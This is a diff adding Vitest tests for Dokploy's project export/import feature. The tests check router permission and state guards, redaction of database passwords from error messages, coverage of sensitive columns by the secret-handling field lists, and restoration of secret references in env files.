>;
|
||||
expect(insertedPort.publishedPort).toBe(8080);
|
||||
|
||||
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
|
||||
expect(serializedInserts).not.toContain("$secret:");
|
||||
expect(serializedInserts).not.toContain("webhook-token");
|
||||
}, 30_000);
|
||||
});
|
||||
@@ -0,0 +1,577 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
vi.mock("@/server/utils/billing", () => ({
|
||||
getCurrentPlan: vi.fn(async () => null),
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
validatePlan: vi.fn(async () => []),
|
||||
inspectBundle: vi.fn(async () => {
|
||||
throw new Error("inspectBundle not stubbed for this test");
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
createImportJob,
|
||||
getImportJob,
|
||||
createExportJob,
|
||||
exportScopeSchema,
|
||||
assertTransferPermission,
|
||||
validatePlan,
|
||||
updateImportJob,
|
||||
inspectBundle,
|
||||
UnsupportedBundleVersionError,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string, userId = "user-1") =>
|
||||
({
|
||||
session: { activeOrganizationId: organizationId },
|
||||
user: { id: userId, email: "a@b.com" },
|
||||
}) as any;
|
||||
|
||||
describe("projectExportImportRouter.importStart", () => {
|
||||
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
|
||||
const importId = "import-router-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
|
||||
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
|
||||
callCountBefore,
|
||||
);
|
||||
});
|
||||
|
||||
it("returns NOT_FOUND for a job belonging to another organization", async () => {
|
||||
const importId = "import-router-3";
|
||||
createImportJob(importId, "user-1", "org-2");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "NOT_FOUND",
|
||||
});
|
||||
});
|
||||
|
||||
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
|
||||
const userId = "user-validate-a";
|
||||
const importId = "import-router-validate-1";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
expect(validatePlan).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("proceeds past validation when every check passes", async () => {
|
||||
const userId = "user-validate-b";
|
||||
const importId = "import-router-validate-2";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
const result = await caller.importStart({ importId });
|
||||
expect(result).toEqual({ success: true });
|
||||
});
|
||||
|
||||
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
|
||||
const userId = "user-validate-c";
|
||||
const busyImportId = "import-router-busy-1";
|
||||
createImportJob(busyImportId, userId, "org-1");
|
||||
|
||||
const importId = "import-router-validate-3";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not treat the job's own already-active status as a conflict with itself", async () => {
|
||||
const userId = "user-validate-d";
|
||||
const importId = "import-router-validate-4";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
const result = await caller.importStart({ importId });
|
||||
expect(result).toEqual({ success: true });
|
||||
});
|
||||
|
||||
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
|
||||
const userId = "user-validate-e";
|
||||
const importId = "import-router-validate-5";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-other-org",
|
||||
environmentName: "imported",
|
||||
},
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await caller.importStart({ importId }).catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBe("project-other-org");
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
|
||||
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
|
||||
const importId = "import-router-inspect-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
root: local("/tmp/does-not-matter"),
|
||||
bundle: local("/tmp/does-not-matter.tar.gz"),
|
||||
});
|
||||
|
||||
(inspectBundle as any).mockRejectedValueOnce(
|
||||
new UnsupportedBundleVersionError(2, 1),
|
||||
);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
message: expect.stringContaining("newer version of Dokploy"),
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter guards", () => {
|
||||
it("refuses to start an import that is not in the planned state", async () => {
|
||||
const importId = "import-router-not-planned";
|
||||
createImportJob(importId, "user-not-planned", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "applying",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: { target: { kind: "newProject", name: "x" } } as any,
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-not-planned"),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
|
||||
it("only lets the user who started the import reveal its secrets", async () => {
|
||||
const importId = "import-router-other-user";
|
||||
createImportJob(importId, "user-a", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "unlocked",
|
||||
snapshot: { resources: { services: [], shared: {} } } as any,
|
||||
secretsPlain: new Map([["s", "v"]]),
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-b"),
|
||||
);
|
||||
await expect(
|
||||
caller.importSecretReveal({ importId, secretId: "s" }),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("restores the original secret when an override is dropped from a later call", async () => {
|
||||
const importId = "import-router-override-reset";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "unlocked",
|
||||
snapshot: {
|
||||
resources: {
|
||||
services: [],
|
||||
shared: {
|
||||
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
|
||||
},
|
||||
},
|
||||
} as any,
|
||||
secretsPlain: new Map([["reg-1", "original"]]),
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
|
||||
await caller.importSecretsOverride({
|
||||
importId,
|
||||
overrides: { "reg-1": "replaced" },
|
||||
});
|
||||
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
|
||||
|
||||
await caller.importSecretsOverride({ importId, overrides: {} });
|
||||
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
|
||||
});
|
||||
|
||||
it("only deletes objects that look like export bundles", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-delete-bundle"),
|
||||
);
|
||||
await expect(
|
||||
caller.deleteRemoteBundle({
|
||||
destinationId: "dest-1",
|
||||
key: "backups/production.sql.gz",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
|
||||
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
|
||||
createExportJob("batch-other-org", "user-1", "org-2");
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
|
||||
).resolves.toEqual([
|
||||
{ exportId: "nope", status: "error", error: "Export not found" },
|
||||
{
|
||||
exportId: "batch-other-org",
|
||||
status: "error",
|
||||
error: "Export not found",
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("parses the full organization scope and a bare preview scope with defaults", async () => {
|
||||
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
|
||||
expect(full).toEqual({
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
});
|
||||
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
|
||||
});
|
||||
|
||||
it("rejects an organization export to a destination the organization does not own", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-org-export"),
|
||||
);
|
||||
await expect(
|
||||
caller.exportOrganizationStart({
|
||||
destinationId: "dest-of-org-2",
|
||||
passphrase: "a-long-enough-passphrase",
|
||||
projectIds: ["project-1"],
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects exportStart with a destination the organization does not own", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-export-dest"),
|
||||
);
|
||||
await expect(
|
||||
caller.exportStart({
|
||||
projectId: "project-1",
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
passphrase: "a-long-enough-passphrase",
|
||||
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importValidate", () => {
|
||||
it("rejects with BAD_REQUEST before importPlan ran", async () => {
|
||||
const importId = "import-router-validate-early";
|
||||
createImportJob(importId, "user-validate-early", "org-1");
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-validate-early"),
|
||||
);
|
||||
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
});
|
||||
|
||||
it("stores the checks on the plan and returns them", async () => {
|
||||
const importId = "import-router-validate-store";
|
||||
createImportJob(importId, "user-validate-store", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
target: { kind: "newProject", name: "x" },
|
||||
validation: [],
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockReset();
|
||||
(validatePlan as any).mockResolvedValue([
|
||||
{ check: "server:local", ok: false, detail: "unreachable" },
|
||||
]);
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-validate-store"),
|
||||
);
|
||||
const result = await caller.importValidate({ importId });
|
||||
(validatePlan as any).mockReset();
|
||||
(validatePlan as any).mockResolvedValue([]);
|
||||
expect(result.checks).toEqual([
|
||||
{ check: "server:local", ok: false, detail: "unreachable" },
|
||||
]);
|
||||
const status = await caller.importStatus({ importId });
|
||||
expect(status.plan?.validation).toEqual(result.checks);
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
|
||||
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
|
||||
const importId = "import-router-unlock-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importUnlock({ importId, passphrase: "short" }),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importPlan", () => {
|
||||
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
|
||||
const importId = "import-router-4";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importPlan({
|
||||
importId,
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
choices: {},
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
|
||||
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
|
||||
const importId = "import-router-5";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await caller
|
||||
.importPlan({
|
||||
importId,
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-other-org",
|
||||
environmentName: "imported",
|
||||
},
|
||||
choices: {},
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBe("project-other-org");
|
||||
});
|
||||
|
||||
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
|
||||
const importId = "import-router-6";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await caller
|
||||
.importPlan({
|
||||
importId,
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
choices: {},
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBeUndefined();
|
||||
});
|
||||
|
||||
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
|
||||
const { getCurrentPlan } = await import("@/server/utils/billing");
|
||||
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
|
||||
|
||||
const importId = "import-router-env-limit-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
snapshot: {
|
||||
resources: { environments: [{}, {}, {}], services: [] },
|
||||
} as any,
|
||||
});
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
|
||||
await expect(
|
||||
caller.importPlan({
|
||||
importId,
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-1",
|
||||
environmentName: "imported",
|
||||
},
|
||||
choices: {},
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importCancel", () => {
|
||||
it("returns NOT_FOUND for an unknown importId", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importCancel({ importId: "does-not-exist" }),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("maps a still-running import to CONFLICT", async () => {
|
||||
const importId = "import-cancel-router-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, { status: "restoring" });
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
|
||||
it("maps a still-running export to CONFLICT", async () => {
|
||||
const exportId = "export-cancel-router-1";
|
||||
const job = createExportJob(exportId, "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
|
||||
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
|
||||
const exportId = "export-status-forbidden-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const importId = "import-status-forbidden-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
const { TRPCError } = await import("@trpc/server");
|
||||
const forbidden = () =>
|
||||
new TRPCError({
|
||||
code: "FORBIDDEN",
|
||||
message: "Only organization owners and admins can do that",
|
||||
});
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
|
||||
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
|
||||
code: "FORBIDDEN",
|
||||
});
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
|
||||
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
|
||||
code: "FORBIDDEN",
|
||||
});
|
||||
});
|
||||
|
||||
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
|
||||
const exportId = "export-status-token-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const { updateExportJob } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
updateExportJob(exportId, {
|
||||
status: "done",
|
||||
downloadToken: "tok-abc123",
|
||||
});
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
const result = await caller.exportStatus({ exportId });
|
||||
expect((result as any).downloadToken).toBe("tok-abc123");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
|
||||
import { ExecError } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("safeErrorMessage (T-4.2)", () => {
|
||||
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
|
||||
const error = new ExecError(
|
||||
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
|
||||
{
|
||||
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
|
||||
stderr:
|
||||
"pg_dump: error: connection failed: FATAL: password authentication failed",
|
||||
exitCode: 1,
|
||||
},
|
||||
);
|
||||
const message = safeErrorMessage(error);
|
||||
expect(message).not.toContain("realpassword123");
|
||||
expect(message).not.toContain("PGPASSWORD");
|
||||
expect(message).toContain("exit code 1");
|
||||
expect(message).toContain("password authentication failed");
|
||||
});
|
||||
|
||||
it("falls back to a generic message when an ExecError has no stderr", () => {
|
||||
const error = new ExecError("Command execution failed", {
|
||||
command: "PGPASSWORD=secret pg_dump",
|
||||
});
|
||||
const message = safeErrorMessage(error);
|
||||
expect(message).not.toContain("secret");
|
||||
expect(message).toBe("Command failed");
|
||||
});
|
||||
|
||||
it("passes a plain Error's message through unchanged", () => {
|
||||
expect(safeErrorMessage(new Error("Service not found"))).toBe(
|
||||
"Service not found",
|
||||
);
|
||||
});
|
||||
|
||||
it("stringifies a non-Error thrown value", () => {
|
||||
expect(safeErrorMessage("boom")).toBe("boom");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,189 @@
|
||||
import {
|
||||
applications,
|
||||
backups,
|
||||
certificates,
|
||||
compose,
|
||||
destinations,
|
||||
dnsProvider,
|
||||
environments,
|
||||
libsql,
|
||||
mariadb,
|
||||
mongo,
|
||||
mounts,
|
||||
mysql,
|
||||
network,
|
||||
postgres,
|
||||
projects,
|
||||
redis,
|
||||
registry,
|
||||
security,
|
||||
sshKeys,
|
||||
vaultProvider,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
NEVER_EXPORT_FIELDS,
|
||||
restoreSecretFields,
|
||||
SECRET_FIELDS,
|
||||
stripNeverExport,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { getTableColumns } from "drizzle-orm";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
|
||||
{ table: applications, kind: "application" },
|
||||
{ table: compose, kind: "compose" },
|
||||
{ table: environments, kind: "environment" },
|
||||
{ table: libsql, kind: "libsql" },
|
||||
{ table: mariadb, kind: "mariadb" },
|
||||
{ table: mongo, kind: "mongo" },
|
||||
{ table: mysql, kind: "mysql" },
|
||||
{ table: postgres, kind: "postgres" },
|
||||
{ table: projects, kind: "project" },
|
||||
{ table: redis, kind: "redis" },
|
||||
];
|
||||
|
||||
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
|
||||
...TABLES_WITH_KIND,
|
||||
{ table: mounts, kind: "mount" },
|
||||
{ table: security, kind: "security" },
|
||||
{ table: destinations, kind: "destination" },
|
||||
{ table: registry, kind: "registry" },
|
||||
{ table: sshKeys, kind: "sshKey" },
|
||||
{ table: certificates, kind: "certificate" },
|
||||
{ table: vaultProvider, kind: "vaultProvider" },
|
||||
{ table: dnsProvider, kind: "dnsProvider" },
|
||||
{ table: backups, kind: "backup" },
|
||||
{ table: network, kind: "network" },
|
||||
];
|
||||
|
||||
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
|
||||
|
||||
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
|
||||
for (const { table, kind } of ALL_RESOURCE_TABLES) {
|
||||
it(`covers sensitive-named columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
|
||||
SENSITIVE_NAME.test(name),
|
||||
);
|
||||
|
||||
const coveredBySecretFields = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
|
||||
|
||||
for (const fieldName of sensitiveFieldNames) {
|
||||
const covered =
|
||||
coveredBySecretFields.has(fieldName) ||
|
||||
coveredByNeverExport.has(fieldName);
|
||||
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("SECRET_FIELDS covers every encryptedText column", () => {
|
||||
for (const { table, kind } of TABLES_WITH_KIND) {
|
||||
it(`covers encrypted columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const encryptedFieldNames = Object.entries(columns)
|
||||
.filter(
|
||||
([, col]) =>
|
||||
(col as { columnType: string }).columnType === "PgCustomColumn",
|
||||
)
|
||||
.map(([name]) => name);
|
||||
expect(encryptedFieldNames.length).toBeGreaterThan(0);
|
||||
|
||||
const covered = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
for (const fieldName of encryptedFieldNames) {
|
||||
expect(covered.has(fieldName)).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("stripNeverExport", () => {
|
||||
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
|
||||
const row = {
|
||||
applicationId: "a1",
|
||||
serverId: "s1",
|
||||
buildServerId: "s2",
|
||||
refreshToken: "tok",
|
||||
githubId: "gh1",
|
||||
createdAt: "2024-01-01",
|
||||
name: "app",
|
||||
};
|
||||
const stripped = stripNeverExport("application", row);
|
||||
expect(stripped).not.toHaveProperty("serverId");
|
||||
expect(stripped).not.toHaveProperty("buildServerId");
|
||||
expect(stripped).not.toHaveProperty("refreshToken");
|
||||
expect(stripped).not.toHaveProperty("githubId");
|
||||
expect(stripped).not.toHaveProperty("createdAt");
|
||||
expect(stripped.applicationId).toBe("a1");
|
||||
expect(stripped.name).toBe("app");
|
||||
});
|
||||
|
||||
it("does not mutate the original row", () => {
|
||||
const row = { serverId: "s1", name: "app" };
|
||||
stripNeverExport("postgres", row);
|
||||
expect(row).toHaveProperty("serverId");
|
||||
});
|
||||
|
||||
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
|
||||
const row = { name: "unmapped" };
|
||||
// @ts-expect-error deliberately invalid kind, to check the fallback path
|
||||
const stripped = stripNeverExport("notAKind", row);
|
||||
expect(stripped).toEqual(row);
|
||||
});
|
||||
|
||||
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
|
||||
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
|
||||
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
|
||||
expect(stripped).not.toHaveProperty("createdAt");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
|
||||
|
||||
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
|
||||
for (const { table, kind } of ALL_RESOURCE_TABLES) {
|
||||
it(`checks jsonb columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const jsonbFieldNames = Object.entries(columns)
|
||||
.filter(
|
||||
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
|
||||
)
|
||||
.map(([name]) => name);
|
||||
|
||||
const coveredBySecretFields = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
|
||||
|
||||
for (const fieldName of jsonbFieldNames) {
|
||||
const covered =
|
||||
coveredBySecretFields.has(fieldName) ||
|
||||
coveredByNeverExport.has(fieldName) ||
|
||||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
|
||||
expect(
|
||||
covered,
|
||||
`${kind}.${fieldName} is not covered or allowlisted`,
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
|
||||
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
|
||||
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
|
||||
const row = {
|
||||
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
|
||||
};
|
||||
const result = restoreSecretFields("application", row, secretsPlain);
|
||||
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
import type { Snapshot } from "@dokploy/server/services/project-export-import";
|
||||
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const snapshot = {
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
name: "web",
|
||||
security: [
|
||||
{ username: "admin", password: "$secret:sec-1" },
|
||||
{ username: "plain", password: "not-a-ref" },
|
||||
],
|
||||
},
|
||||
